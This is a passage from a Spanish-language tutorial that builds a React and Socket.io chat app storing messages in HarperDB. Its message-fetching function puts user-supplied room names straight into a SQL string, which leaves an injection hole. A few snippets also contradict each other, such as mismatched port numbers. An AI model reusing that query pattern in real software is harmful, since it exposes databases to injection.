.btn-primary {
  background: rgb(153, 217, 234);
  color: rgb(0, 24, 111);
}
.btn-secondary {
  background: rgb(0, 24, 111);
  color: #fff;
}

También agreguemos los estilos específicos a nuestro componente de la página principal:

/* client/src/pages/home/styles.module.css */

.container {
  height: 100vh;
  width: 100%;
  display: flex;
  justify-content: center;
  align-items: center;
  background: rgb(63, 73, 204);
}
.formContainer {
  width: 400px;
  margin: 0 auto 0 auto;
  padding: 32px;
  background: lightblue;
  border-radius: 6px;
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 28px;
}
.input {
  width: 100%;
  padding: 12px;
  border-radius: 6px;
  border: 1px solid rgb(63, 73, 204);
  font-size: 0.9rem;
}
.input option {
  margin-top: 20px;
}

También hagamos que el botón "Join Room" tenga el ancho completo agregando un atributo de estilo:

// client/src/pages/home/index.js

<button className='btn btn-secondary' style={{ width: '100%' }}>Join Room</button>

Nuestra página principal ahora se ve sólido:

2. Cómo agregar funcionalidad al formulario Join Room

Ahora tenemos un formulario básico y estilos, así que es tiempo de agregar algo de funcionalidad.

Esto es lo que queremos que suceda cuando el usuario haga clic en el botón "Join Room":

1. Verificar que el nombre de usuario y los campos de la sala sean rellenados.
2. Si es así, emitimos un evento de socket a nuestro servidor.
3. Redireccionar al usuario a la página Chat (el cual crearemos luego).

Vamos a necesitar crear algo de estado para almacenar los valores nombre de usuario y room. También necesitamos crear una instancia del socket.

Podríamos crear estos estados directamente dentro de nuestro componente home, pero nuestra página Chat también necesitará acceder al username, room y socket. Así que elevaremos el estado al App.js, donde podemos pasar estas variables a las páginas HomePage y Chat.

Así que, creemos nuestro estado y configuremos un socket en App.js, y pasemos estas variables como props al componente. También pasaremos la función setState de forma que podamos alterar el estado:

// client/src/App.js

import './App.css';
import { useState } from 'react'; // Add this
import { BrowserRouter as Router, Routes, Route } from 'react-router-dom';
import io from 'socket.io-client'; // Add this
import Home from './pages/home';

const socket = io.connect('http://localhost:4000'); // Add this -- our server will run on port 4000, so we connect to it from here

function App() {
  const [username, setUsername] = useState(''); // Add this
  const [room, setRoom] = useState(''); // Add this

  return (
    <Router>
      <div className='App'>
        <Routes>
          <Route
            path='/'
            element={
              <Home
                username={username} // Add this
                setUsername={setUsername} // Add this
                room={room} // Add this
                setRoom={setRoom} // Add this
                socket={socket} // Add this
              />
            }
          />
        </Routes>
      </div>
    </Router>
  );
}

export default App;

Ahora podemos acceder a estos props en nuestro componente Home. Usaremos la destructuración para obtener estas props:

// client/src/pages/home/index.js

import styles from './style.module.css';

const Home = ({ username, setUsername, room, setRoom, socket }) => {
  return (
    // ...
  );
};

export default Home;

Cuando el usuario ingrese su nombre de usuario o seleccione una sala, necesitamos actualizar las variables de estado username y room:

// client/src/pages/home/index.js

// ...

const Home = ({ username, setUsername, room, setRoom, socket }) => {
  return (
    <div className={styles.container}>
      // ...
        <input
          className={styles.input}
          placeholder='Username...'
          onChange={(e) => setUsername(e.target.value)} // Add this
        />

        <select
          className={styles.input}
          onChange={(e) => setRoom(e.target.value)} // Add this
        >
         // ...
        </select>

        // ...
    </div>
  );
};

export default Home;

Ahora estamos capturamos los datos ingresados por el usuario, podemos crear una función callback joinRoom() para cuando el usuario haga clic en el botón "Join Room":

// client/src/pages/home/index.js

// ...

const Home = ({ username, setUsername, room, setRoom, socket }) => {

  // Add this
  const joinRoom = () => {
    if (room !== '' && username !== '') {
      socket.emit('join_room', { username, room });
    }
  };

  return (
    <div className={styles.container}>
      // ...

        <button
          className='btn btn-secondary'
          style={{ width: '100%' }}
          onClick={joinRoom} // Add this
        >
          Join Room
        </button>
      // ...
    </div>
  );
};

export default Home;

Arriba, cuando el usuario haga clic en el botón, un evento del socket llamado joinroom se emite, juntamente con un objeto conteniendo el nombre de usuario y la sala seleccionada. Este evento será recibido por nuestro servidor un poco más tarde cuando haremos algo de magia.

Para terminar nuestra página principal, necesitamos agregar una redirección al final de nuestra función joinRoom() para llevar al usuario a la página /chat:

// client/src/pages/home/index.js

// ...
import { useNavigate } from 'react-router-dom'; // Agrega esto

const Home = ({ username, setUsername, room, setRoom, socket }) => {
  const navigate = useNavigate(); // Agrega esto

  const joinRoom = () => {
    if (room !== '' && username !== '') {
      socket.emit('join_room', { username, room });
    }

    // Redirecciona a /chat
    navigate('/chat', { replace: true }); // Agrega esto
  };

 // ...

Pruébalo: escribe un nombre de usuario y selecciona una sala, luego haz clic en Join Room. Deberías ser dirigido a la ruta http://localhost:3000/chat – actualmente una página vacía.

Pero antes que creemos nuestra Página Chat, tengamos algo ejecutándose en el servidor.

Cómo configurar el Servidor

En el servidor, vamos a escuchar los eventos del socket que son emitidos desde el frontend. Actualmente, solamente tenemos un evento join_room siendo emitido desde React, así que agregaremos este escucha de evento primero.

Pero antes de eso, necesitamos instalar nuestras dependencias del servidor y tener el servidor activo y ejecutándose.

1. Cómo instalar las dependencias del servidor

Abre una nueva terminal (en VS Code: Terminal->Nueva Terminal), cambia la carpeta a nuestra carpeta de servidor, inicializa un archivo package.json, e instala las siguientes dependencias:

$ cd server
$ npm init -y
$ npm i axios cors express socket.io dotenv

• Axios es un paquete usado comunmente para hacer solicitudes fácilmente a APIs.
• Cors permite a nuestro cliente hacer solicitudes a otros orígenes – necesario para socket.io para que funcione de forma apropiada. Ve ¿Qué es el CORS? si no has escuchado de CORS antes.
• Express es un framework de Node.js que nos permite escribir nuestro backend más fácilmente con menos código.
• Socket.io es una librería que permite que el cliente y el servidor se comunique a tiempo real – el cual no es posible con solicitudes estándares de HTTP.
• Dotenv es un módulo que nos permite almacenar claves privadas y contraseñas de forma segura, y cargarlos en nuestro códio cuando sea necesario.

También instalaremos nodemon como una dependencia dev, así no tenemos que reiniciar nuestro servidor cada vez que hagamos un cambio al código – ahorrándonos tiempo y energía:

$ npm i -D nodemon

2. Cómo iniciar nuestro servidor

Crea un archivo index.js en la raíz de nuestra carpeta server, y agrega el siguiente código para iniciar el servidor:

// server/index.js

const express = require('express');
const app = express();
const http = require('http');
const cors = require('cors');

app.use(cors()); // Add cors middleware

const server = http.createServer(app);

server.listen(4000, () => 'Server is running on port 4000');

Abre el archivo package.json en nuestro servidor, y agrega un script que nos permitirá usar nodemon en desarrollo:

{
  ...
  "scripts": {
    "dev": "nodemon index.js"
  },
  ...
}

Ahora, iniciemos nuestro servidor al ejecutar el siguiente comando:

$ npm run dev

Podemos verificar rápidamente que nuestro servidor se está ejecutando correctamente al agregar un manejador de solicitudes get:

// server/index.js

const express = require('express');
const app = express();
http = require('http');
const cors = require('cors');

app.use(cors()); // Agrega cors middleware

const server = http.createServer(app);

// Agrega esto
app.get('/', (req, res) => {
  res.send('Hello world');
});

server.listen(4000, () => 'El servidor está ejecutándose en el puerto 3000');

Ahora ve a http://localhost:4000/:

Nuestro servidor está activo y en ejecución. ¡Ahora es tiempo de hacer cosas de Socket.io en el servidor!

Cómo crear nuestro primer Escucha de Evento de Socket.io en el Servidor

Recuerda que cuando emitimos un evento joinroom desde el cliente? Bueno, pronto vamos a estar escuchar ese evento en el servidor y agregar el usuario a una sala del socket.

Pero primero, necesitamos escuchar cuando un cliente se conecte al servidor a través de socket.io-client.

// server/index.js

const express = require('express');
const app = express();
http = require('http');
const cors = require('cors');
const { Server } = require('socket.io'); // Agrega esto

app.use(cors()); // Agrega cors middleware

const server = http.createServer(app); // Agrega esto

// Agrega esto
// Crea un servidor io y permite CORS desde http://localhost:3000 con metodos GET y POST
const io = new Server(server, {
  cors: {
    origin: 'http://localhost:3000',
    methods: ['GET', 'POST'],
  },
});

// Agrega esto
// Escucha cuando el cliente se conecta a traves de socket.io-client
io.on('connection', (socket) => {
  console.log(`User connected ${socket.id}`);

  // Podemos escribir nuestro our socket event listeners in here...
});

server.listen(4000, () => 'El servidor está ejecutándose en el puerto 3000');

Ahora, cuando el cliente se conecta desde el frontend, el backend captura el evento de la conexión, y registrará User connected con el id único del socket para ese cliente particular.

Probemos si el servidor ahora está captrando el evento de la conección desde el cliente. Ve a tu aplicación de React en http://localhost:3000/ y refresca la página.

Deberías ver el siguiente registro en tu consola de terminal del servidor:

Genial, nuestro cliente se ha conectado a nuestro servidor a través de socket.io. Nuestro cliente y servidor ahora se pueden comunicar en, ¡tiempo real!

Cómo funcionan las Salas en Socket.io

Desde la documentación de Socket.io (no está disponible en español todavía):

"Una sala es un canal arbitrario al que sockets se puede unir (join) y abandonar (leave). Puede ser usado para emitir eventos a un subconjunto de clientes."

Así que, podemos unir el usuario a una sala, y luego el servidor puede enviar mensajes a todos los usuarios en esa sala – permitiendo a los usuarios enviarse mensajes en tiempo real. ¡Genial!

Cómo unir el usuario a una sala de Socket.io

Una vez que el usuario se ha conectado a través de Socket.io, podemos agregar nuestros escuchas de eventos del socket en el servidor para escuchar eventos emitidos desde el cliente. También, podemos emitir eventos en el servidor, y esucharlos en el cliente.

Ahora escuchemos por el evento joinroom, que capture los datos (nombre de usuario y sala), y agregue al usuario a una sala de socket:

// server/index.js

// Escuchar cuando el cliente se conecta a través de socket.io-client
io.on('connection', (socket) => {
  console.log(`User connected ${socket.id}`);

  // Agrega esto
  // Agrega un usuario a una sala
  socket.on('join_room', (data) => {
    const { username, room } = data; // Datos enviados desde el cliente cuando el evento join_room se emite
    socket.join(room); // Une el usuario a una sala de socket
  });
});

Cómo enviar un mensaje a los usuarios en una sala

Ahora enviemos un mensaje a todos los usuarios en la sala, aparte del usuario que se acaba de unir, para notificarlos que un nuevo usuario se ha unido:

// server/index.js

const CHAT_BOT = 'ChatBot'; // Agrega esto
// Escucha cuando el cliente se conecta a través de socket.io-client
io.on('connection', (socket) => {
  console.log(`User connected ${socket.id}`);

  // Agrega un usuario a una sala
  socket.on('join_room', (data) => {
    const { username, room } = data; // Datos enviados desde el cliente cuando el evento join_room se emite
    socket.join(room); // Une el usuario a una sala de socket

    // Agrega esto
    let __createdtime__ = Date.now(); // Marcas de tiempo actuales
    // Envía un mensaje a todos los usuario en la sala, aparte del usuario que se acaba de unir
    socket.to(room).emit('receive_message', {
      message: `${username} has joined the chat room`,
      username: CHAT_BOT,
      __createdtime__,
    });
  });
});

Arriba, estamos emitiendo un evento receive_message a todos los clientes en la sala en el que el usuario se acaba de unir, juntamente con algo de dato: el mensaje, el nombre de usuario quien envió el mensaje, y el tiempo en que el mensaje fue enviado.

Agregaremos un escucha de evento en nuestra aplicación de React un poco después para capturar este evento, y muestra el mensaje en la pantalla.

También enviemos un mensaje de bienvenida al nuevo usuario recién unido:

// server/index.js

io.on('connection', (socket) => {
  // ...

    // Agrega esto
    // Envía el msg de bienvenida al usuario que se acaba de unir
    socket.emit('receive_message', {
      message: `Welcome ${username}`,
      username: CHAT_BOT,
      __createdtime__,
    });
  });
});

Cuando agregamos un usuario a una sala de Socket.io, Socket.io solamente almacena los ids de los sockets para cada usuario. Pero necesitaremos los nombres de usuario de todos en la sala, así también como el nombre de sala. Así que, almacenemos esos datos en variables en el servidor:

// server/index.js

// ...

const CHAT_BOT = 'ChatBot';
// Agrega esto
let chatRoom = ''; // Ej. javascript, node,...
let allUsers = []; // Todos los usuarios en la sala de chat actual

// Escucha cuando el cliente se conecta a través de socket.io-client
io.on('connection', (socket) => {
    // ...

    // Agrega esto
    // Guarda el nuevo usuario a la sala
    chatRoom = room;
    allUsers.push({ id: socket.id, username, room });
    chatRoomUsers = allUsers.filter((user) => user.room === room);
    socket.to(room).emit('chatroom_users', chatRoomUsers);
    socket.emit('chatroom_users', chatRoomUsers);
  });
});

Arriba, también estamos enviando un arreglo de todo el chatRoomUsers de nuevo al cliente a través del evento chatroomusers, así que podemos listar todos los nombres de usuario en el frontend.

Antes que agreguemos cualquier otro código a nuestro servidor, volvamos a nuestro frontend y creamos la página Chat – así podemos probar si estamos recibiendo los eventos receivemessage.

Cómo construir la Página Chat

En tu carpeta cliente, crea dos nuevos archivos:

1. src/pages/chat/index.js
2. src/pages/chat/styles.module.css

Agreguemos algunos estilos que usaremos en nuestra página Chat y componentes:

/* client/src/pages/chat/styles.module.css */

.chatContainer {
  max-width: 1100px;
  margin: 0 auto;
  display: grid;
  grid-template-columns: 1fr 4fr;
  gap: 20px;
}

/* Room and users component */
.roomAndUsersColumn {
  border-right: 1px solid #dfdfdf;
}
.roomTitle {
  margin-bottom: 60px;
  text-transform: uppercase;
  font-size: 2rem;
  color: #fff;
}
.usersTitle {
  font-size: 1.2rem;
  color: #fff;
}
.usersList {
  list-style-type: none;
  padding-left: 0;
  margin-bottom: 60px;
  color: rgb(153, 217, 234);
}
.usersList li {
  margin-bottom: 12px;
}

/* Messages */
.messagesColumn {
  height: 85vh;
  overflow: auto;
  padding: 10px 10px 10px 40px;
}
.message {
  background: rgb(0, 24, 111);
  border-radius: 6px;
  margin-bottom: 24px;
  max-width: 600px;
  padding: 12px;
}
.msgMeta {
  color: rgb(153, 217, 234);
  font-size: 0.75rem;
}
.msgText {
  color: #fff;
}

/* Message input and button */
.sendMessageContainer {
  padding: 16px 20px 20px 16px;
}
.messageInput {
  padding: 14px;
  margin-right: 16px;
  width: 60%;
  border-radius: 6px;
  border: 1px solid rgb(153, 217, 234);
  font-size: 0.9rem;
}

Ahora, veamos cómo terminará luciendo nuestra página Chat:

Agregando todo el código y lógica para esta página en un archivo podría volverse confuso y difícil de manejar, así que aprovechemos el hecho de que estamos usando un framework de frontend fabuloso (React) y dividir nuestra página en componentes:

Los componentes de la página chat:

A: Contiene el nombre de la sala, una lista de usuarios en esa sala, y un botón "Leave" que quitar al usuario desde la sala.

B: Los mensajes enviados. Al inicio de la renderización, los últimos 100 mensajes enviados en esa sala será solicitado desde la base de datos y mostrado al usuario.

C: Una entrada y botón para escribir y enviar un mensaje.

Primero crearemos el componente B, así podemos mostrar los mensajes al usuario.

Cómo crear el Componente Messages (B)

Crea un nuevo archivo en src/pages/chat/messages.js y agrega el siguiente código:

// client/src/pages/chat/messages.js

import styles from './styles.module.css';
import { useState, useEffect } from 'react';

const Messages = ({ socket }) => {
  const [messagesRecieved, setMessagesReceived] = useState([]);

  // Se ejecuta cuando sea que un evento del socket es recibido desde el servidor
  useEffect(() => {
    socket.on('receive_message', (data) => {
      console.log(data);
      setMessagesReceived((state) => [
        ...state,
        {
          message: data.message,
          username: data.username,
          __createdtime__: data.__createdtime__,
        },
      ]);
    });

    // Quita la escucha del evento al desmontar el componente
    return () => socket.off('receive_message');
  }, [socket]);

  // dd/mm/yyyy, hh:mm:ss
  function formatDateFromTimestamp(timestamp) {
    const date = new Date(timestamp);
    return date.toLocaleString();
  }

  return (
    <div className={styles.messagesColumn}>
      {messagesRecieved.map((msg, i) => (
        <div className={styles.message} key={i}>
          <div style={{ display: 'flex', justifyContent: 'space-between' }}>
            <span className={styles.msgMeta}>{msg.username}</span>
            <span className={styles.msgMeta}>
              {formatDateFromTimestamp(msg.__createdtime__)}
            </span>
          </div>
          <p className={styles.msgText}>{msg.message}</p>
          <br />
        </div>
      ))}
    </div>
  );
};

export default Messages;

Ahora, tenemos un hook useEffect que se ejecuta cuando sea que el evento del socket se recibe. Luego recibimos los datos del mensaje en el escucha del evento receivemessage. Desde ahí, ponemos el estado messagesReceived, el cual es un arreglo de objetos de mensaje conteniendo el mensaje, nombre de usuario del emisor, y la fecha del mensaje que fue enviado.

Importemos nuestro nuevo componentes de mensajes en la página Chat, y luego creemos una ruta para la página Chat en App.js:

// client/src/pages/chat/index.js

import styles from './styles.module.css';
import MessagesReceived from './messages';

const Chat = ({ socket }) => {
  return (
    <div className={styles.chatContainer}>
      <div>
        <MessagesReceived socket={socket} />
      </div>
    </div>
  );
};

export default Chat;

// client/src/App.js

import './App.css';
import { useState } from 'react';
import Home from './pages/home';
import Chat from './pages/chat';
import { BrowserRouter as Router, Routes, Route } from 'react-router-dom';
import io from 'socket.io-client';

const socket = io.connect('http://localhost:4000');

function App() {
  const [username, setUsername] = useState('');
  const [room, setRoom] = useState('');

  return (
    <Router>
      <div className='App'>
        <Routes>
          <Route
            path='/'
            element={
              <Home
                username={username}
                setUsername={setUsername}
                room={room}
                setRoom={setRoom}
                socket={socket}
              />
            }
          />
          {/* Add this */}
          <Route
            path='/chat'
            element={<Chat username={username} room={room} socket={socket} />}
          />
        </Routes>
      </div>
    </Router>
  );
}

export default App;

Probemos esto, ve a la página principal y únete a una sala:

Deberíamos ser llevados a la página Chat, y recibir un mensaje de bienvenida del ChatBot:

Los usuarios ahora pueden ver los mensajes que reciben. ¡Genial!

Próximo: configurar nuestra base de datos así podemos guardar los mensajes permanentemente.

Cómo crear un Esquema y una Tabla en HarperDB

Vuelve a tu dashboard de HarperDB, y haz clic en "browser". Luego crea un nuevo esquemos llamado "realtime_chat_app". Un esquema es simplemente un grupo de tablas.

Dentro de ese esquema, crea una tabla llamada "messages", con un atributo hash de "id".

Ahora tenemos necestiamos donde almacenar los mensajes, así que creemos el componente SendMessage.

Cómo crear el componente Send Message (C)

Crea el archivo src/pages/chat/send-message.js y agrega el siguiente código:

// client/src/pages/chat/send-message.js

import styles from './styles.module.css';
import React, { useState } from 'react';

const SendMessage = ({ socket, username, room }) => {
  const [message, setMessage] = useState('');

  const sendMessage = () => {
    if (message !== '') {
      const __createdtime__ = Date.now();
      // Envia un mensaje al servidor. No podemos especificar a quien enviamos el mensaje desde el frontend. Solamente podemos enviar al servidor. El servidor por lo tanto puede enviar un mensaje al resto de los usuarios en la sala
      socket.emit('send_message', { username, room, message, __createdtime__ });
      setMessage('');
    }
  };

  return (
    <div className={styles.sendMessageContainer}>
      <input
        className={styles.messageInput}
        placeholder='Message...'
        onChange={(e) => setMessage(e.target.value)}
        value={message}
      />
      <button className='btn btn-primary' onClick={sendMessage}>
        Send Message
      </button>
    </div>
  );
};

export default SendMessage;

Arriba, cuando el usuario hace clic en el botón "Send Message", un evento del socket send_message se emite al servidor, junto con un objeto de mensaje. Manejaremos este evento en el servidor dentro de poco.

Importa SendMessage en nuestra página Chat:

// src/pages/chat/index.js

import styles from './styles.module.css';
import MessagesReceived from './messages';
import SendMessage from './send-message';

const Chat = ({ username, room, socket }) => {
  return (
    <div className={styles.chatContainer}>
      <div>
        <MessagesReceived socket={socket} />
        <SendMessage socket={socket} username={username} room={room} />
      </div>
    </div>
  );
};

export default Chat;

La página Chat ahora luce así:

Luego necesitamos configurar nuestras variables de entorno de HarperDB así podemos comenzar a interactuar con la base de datos.

Cómo configurar las Variables de Entorno de HarperDB

Para que seas capaz de guardar los mensajes en HarperDB, necesitarás tu URL de instancia de HarperDB, y tu contraseña API.

En tu dashboard de HarperDB, haz clic en tu instancia, luego ve a "config". Encontrarás tu URL de instancia, y la cabecera de Autenticación de API de tu instancia – eso es, tu contraseña "super_user" que te permite realizar cualquier solicitud a la base de datos – ¡PARA TUS OJOS SOLAMENTE!

Guardaremos estas variables en un archivo .env. Advertencia: ¡No empujes el archivo .env a Github! Este archivo no debería ser visible públicamente. Las variables se cargan a través del servidor por detrás.

Crea los siguientes archivos y agrega tu URL y contraseña de HarperDB:

// server/.env

HARPERDB_URL="<tu url va aqui>"
HARPERDB_PW="Basic <tu contraseña aqui>"

También crearemos un archivo .gitignore para evitar que el .env se suba a Github, juntamente con la carpeta node_modules:

// server/.gitignore

.env
node_modules

Nota: ser bueno en Git y Github es 100% imprescindible para todos los desarrolladores. Revisa mi artículo de los flujos de trabajo de Git si necesitas mejorar tu juego de Git.

O si constantemente te encuentras revisando los mismos comandos de Git, y quieres una forma rápida de verlos, y copiar/pegar los comandos – revisa mi hoja de trucos de los comandos de Git en PDF y mi póster de hoja de trucos de Git físico.

Finalmente, carguemos nuestras variables de entorno en nuestro servidor al agregar este código en la parte superior de nuestro archivo main:

// server/index.js

require('dotenv').config();
console.log(process.env.HARPERDB_URL); // quita esto despues que hayas visto que funcionó
const express = require('express');
// ...

Cómo permitir a los Usuarios que se envíen mensajes con Socket.io

En el servidor, escucharemos el evento sendmessage, luego enviaremos el mensaje a todos los usuarios dentro de la sala:

// server/index.js

const express = require('express');
// ...
const harperSaveMessage = require('./services/harper-save-message'); // Agrega esto

// ...

// Escucha cuando el cliente se conecta a través de socket.io-client
io.on('connection', (socket) => {

  // ...

  // Agrega esto
  socket.on('send_message', (data) => {
    const { message, username, room, __createdtime__ } = data;
    io.in(room).emit('receive_message', data); // Envia a todos los usuarios en la sala, incluyendo al emisor
    harperSaveMessage(message, username, room, __createdtime__) // Guarda el mensaje en la bd
      .then((response) => console.log(response))
      .catch((err) => console.log(err));
  });
});

server.listen(4000, () => 'El Servidor se está ejecutando en el puerto 3000');

Ahora necesitamos crear la función harperSaveMessage. Crea un nuevo archivo en server/services/harper-save-message.js, y agrega lo siguiente:

// server/services/harper-save-message.js

var axios = require('axios');

function harperSaveMessage(message, username, room) {
  const dbUrl = process.env.HARPERDB_URL;
  const dbPw = process.env.HARPERDB_PW;
  if (!dbUrl || !dbPw) return null;

  var data = JSON.stringify({
    operation: 'insert',
    schema: 'realtime_chat_app',
    table: 'messages',
    records: [
      {
        message,
        username,
        room,
      },
    ],
  });

  var config = {
    method: 'post',
    url: dbUrl,
    headers: {
      'Content-Type': 'application/json',
      Authorization: dbPw,
    },
    data: data,
  };

  return new Promise((resolve, reject) => {
    axios(config)
      .then(function (response) {
        resolve(JSON.stringify(response.data));
      })
      .catch(function (error) {
        reject(error);
      });
  });
}

module.exports = harperSaveMessage;

Arriba, guardar los datos podria tomar un poco de tiempo, así que devolvemos una promesa el cual será resuelto si los datos se guardan satisfactoriamente, o rechazada si no se guardan.

Si te estás preguntando donde obtuve el código de arriba, HarperDB provee una sección increíble de "ejemplos de código" en su dashboard studio, el cual nos facilita la vida:

¡Tiempo de descanso! Únete a una sala como un usuario, luego envía un mensaje. Luego ve a HarperDB y haz clic en "browse", luego haz clic en la tabla "messages". Deberías ver tú mensaje en la base de datos:

Genial 😎. Así que, ¿ahora qué? Bueno, sería bueno si los últimos 100 mensajes enviados en la sala fueran cargados cuando un usuario se una a  una sala, ¿no?

Cómo obtener los mensajes desde HarperDB

En el servidor, creemos una función que solicite los últimos 100 mensajes enviados en una sala particular (fíjate cómo HarperDB también nos permite usar solicitudes de SQL 👌):

// server/services/harper-get-messages.js

let axios = require('axios');

function harperGetMessages(room) {
  const dbUrl = process.env.HARPERDB_URL;
  const dbPw = process.env.HARPERDB_PW;
  if (!dbUrl || !dbPw) return null;

  let data = JSON.stringify({
    operation: 'sql',
    sql: `SELECT * FROM realtime_chat_app.messages WHERE room = '${room}' LIMIT 100`,
  });

  let config = {
    method: 'post',
    url: dbUrl,
    headers: {
      'Content-Type': 'application/json',
      Authorization: dbPw,
    },
    data: data,
  };

  return new Promise((resolve, reject) => {
    axios(config)
      .then(function (response) {
        resolve(JSON.stringify(response.data));
      })
      .catch(function (error) {
        reject(error);
      });
  });
}

module.exports = harperGetMessages;

Llamaremos a esta función cuando sea que un usuario se una a una sala:

// server/index.js

// ...
const harperSaveMessage = require('./services/harper-save-message');
const harperGetMessages = require('./services/harper-get-messages'); // Add this

// ...

// Escucha cuando el cliente se conecta a través de socket.io-client
io.on('connection', (socket) => {
  console.log(`User connected ${socket.id}`);

  // Agrega un usuario a una sala
  socket.on('join_room', (data) => {

    // ...

    // Agrega esto
    // Obtiene los últimos 100 mensajes enviados en la sala chat
    harperGetMessages(room)
      .then((last100Messages) => {
        // console.log('ultimos mensajes', last100Messages);
        socket.emit('last_100_messages', last100Messages);
      })
      .catch((err) => console.log(err));
  });

 // ...

Arriba, si los mensajes se solicitan de forma exitosa, emitimos un evento de Socket.io llamado last_100_messages. Ahora escucharemos este evento en el frontend.

Cómo mostrar los últimos 100 mensajes en el Cliente

Abajo, agregamos un hook useEffect que contiene un escucha de evento de Socket.io para el evento last_100_messages. Desde ahí, los mensajes son ordenados en orden de fecha, con el más reciente al final, y el estado messagesReceived se actualiza.

Cuando messagesReceived se actualiza, un useEffect se ejecuta para desplazar el div messageColumn al mensaje más reciente. Esto mejora la experiencia de usuario de nuestra aplicación 👍.

// client/src/pages/chat/messages.js

import styles from './styles.module.css';
import { useState, useEffect, useRef } from 'react';

const Messages = ({ socket }) => {
  const [messagesRecieved, setMessagesReceived] = useState([]);

  const messagesColumnRef = useRef(null); // Add this

  // Se ejecuta cuando sea que un evento del socket se reciba desde el servidor
  useEffect(() => {
    socket.on('receive_message', (data) => {
      console.log(data);
      setMessagesReceived((state) => [
        ...state,
        {
          message: data.message,
          username: data.username,
          __createdtime__: data.__createdtime__,
        },
      ]);
    });

    // Quita el escucha de eventos al desmontarse el componente 
    return () => socket.off('receive_message');
  }, [socket]);

  // Agrega esto
  useEffect(() => {
    // Ultimos 100 mensajes enviados en la sala chat (solicitados desde la bd en el backend)
    socket.on('last_100_messages', (last100Messages) => {
      console.log('Last 100 messages:', JSON.parse(last100Messages));
      last100Messages = JSON.parse(last100Messages);
      // Ordena estos mensajes por __createdtime__
      last100Messages = sortMessagesByDate(last100Messages);
      setMessagesReceived((state) => [...last100Messages, ...state]);
    });

    return () => socket.off('last_100_messages');
  }, [socket]);

  // Agrega esto
  // Se desplaza al mensaje más reciente
  useEffect(() => {
    messagesColumnRef.current.scrollTop =
      messagesColumnRef.current.scrollHeight;
  }, [messagesRecieved]);

  // Agrega esto
  function sortMessagesByDate(messages) {
    return messages.sort(
      (a, b) => parseInt(a.__createdtime__) - parseInt(b.__createdtime__)
    );
  }

  // dd/mm/yyyy, hh:mm:ss
  function formatDateFromTimestamp(timestamp) {
    const date = new Date(timestamp);
    return date.toLocaleString();
  }

  return (
    // Agrega ref a este div
    <div className={styles.messagesColumn} ref={messagesColumnRef}>
      {messagesRecieved.map((msg, i) => (
        <div className={styles.message} key={i}>
          <div style={{ display: 'flex', justifyContent: 'space-between' }}>
            <span className={styles.msgMeta}>{msg.username}</span>
            <span className={styles.msgMeta}>
              {formatDateFromTimestamp(msg.__createdtime__)}
            </span>
          </div>
          <p className={styles.msgText}>{msg.message}</p>
          <br />
        </div>
      ))}
    </div>
  );
};

export default Messages;

Cómo mostrar la Sala y los Usuarios (A)

Hemos hecho los componentes B y C, así que terminemos todo al hacer A.

En el servidor, cuando un usario se une a una sala, emitimos un evento chatroomusers que envía todos los usuarios de la sala a todos los clientes en esa sala. Escuchemos ese evento en un componente llamado RoomAndUsers.

Abajo, también hay un botón "Leave" que, cuando se presiona, hace la emisión de un evento leaveroom al servidor. Luego redirecciona el usuario devuelta a la página principal.

// client/src/pages/chat/room-and-users.js

import styles from './styles.module.css';
import { useState, useEffect } from 'react';
import { useNavigate } from 'react-router-dom';

const RoomAndUsers = ({ socket, username, room }) => {
  const [roomUsers, setRoomUsers] = useState([]);

  const navigate = useNavigate();

  useEffect(() => {
    socket.on('chatroom_users', (data) => {
      console.log(data);
      setRoomUsers(data);
    });

    return () => socket.off('chatroom_users');
  }, [socket]);

  const leaveRoom = () => {
    const __createdtime__ = Date.now();
    socket.emit('leave_room', { username, room, __createdtime__ });
    // Redirecciona a la pagina principal
    navigate('/', { replace: true });
  };

  return (
    <div className={styles.roomAndUsersColumn}>
      <h2 className={styles.roomTitle}>{room}</h2>

      <div>
        {roomUsers.length > 0 && <h5 className={styles.usersTitle}>Users:</h5>}
        <ul className={styles.usersList}>
          {roomUsers.map((user) => (
            <li
              style={{
                fontWeight: `${user.username === username ? 'bold' : 'normal'}`,
              }}
              key={user.id}
            >
              {user.username}
            </li>
          ))}
        </ul>
      </div>

      <button className='btn btn-outline' onClick={leaveRoom}>
        Leave
      </button>
    </div>
  );
};

export default RoomAndUsers;

Importemos este componente en la página Chat:

// client/src/pages/chat/index.js

import styles from './styles.module.css';
import RoomAndUsersColumn from './room-and-users'; // Add this
import SendMessage from './send-message';
import MessagesReceived from './messages';

const Chat = ({ username, room, socket }) => {
  return (
    <div className={styles.chatContainer}>
      {/* Agrega esto */}
      <RoomAndUsersColumn socket={socket} username={username} room={room} />

      <div>
        <MessagesReceived socket={socket} />
        <SendMessage socket={socket} username={username} room={room} />
      </div>
    </div>
  );
};

export default Chat;

Cómo quitar a un Usuarío de una sala de Socket.io

Socket.io provee un método leave() que puedes usar para quitar a un usuario de una sala de Socket.io. También estamos manteniendo un registro de nuestros usuarios en un arreglo en la memoria del servidor, así que quitaremos al usuario de ese arreglo también:

// server/index.js

const leaveRoom = require('./utils/leave-room'); // Add this

// ...

// Escucha cuando el cliente se conecta a través de socket.io-client
io.on('connection', (socket) => {

  // ...

  // Agrega esto
  socket.on('leave_room', (data) => {
    const { username, room } = data;
    socket.leave(room);
    const __createdtime__ = Date.now();
    // Quita a un usuario de la memoria
    allUsers = leaveRoom(socket.id, allUsers);
    socket.to(room).emit('chatroom_users', allUsers);
    socket.to(room).emit('receive_message', {
      username: CHAT_BOT,
      message: `${username} has left the chat`,
      __createdtime__,
    });
    console.log(`${username} has left the chat`);
  });
});

server.listen(4000, () => 'El Servidor se está ejecutando en el puerto 3000');

Ahora necesitamos crear la función leaveRoom():

// server/utils/leave-room.js

function leaveRoom(userID, chatRoomUsers) {
  return chatRoomUsers.filter((user) => user.id != userID);
}

module.exports = leaveRoom;

¿Por qué poner esta función corta en una carpeta utils aparte, te preguntas? Porque lo estaremos usando luego y no queremos repetirnos (mantenemos nuestro código DRY).

Probémoslo, abre dos ventanas lado a lado, y únete a ambos chats:

Luego haz clic en el botón leave en la ventana 2:

El usuario se quita del chat, y un mensaje se envía a los otros usuarios – notificándolos que se ha ido. ¡Bien!

Cómo agregar el Escucha de Evento Disconnect de Socket.io

¿Qué pasa si el usuario de alguna manera se desconecta del servidor, como si su internet se cayera? Socket.io provee un escucha de evento adjunto disconnects para esto. Agreguémosle a nuestro servidor para quitar a un usuario de la memoria cuando se desconecta:

// server/index.js

// ...

// Escucha cuando el cliente se conecta a través de socket.io-client
io.on('connection', (socket) => {

  // ...

  // Agrega esto
  socket.on('disconnect', () => {
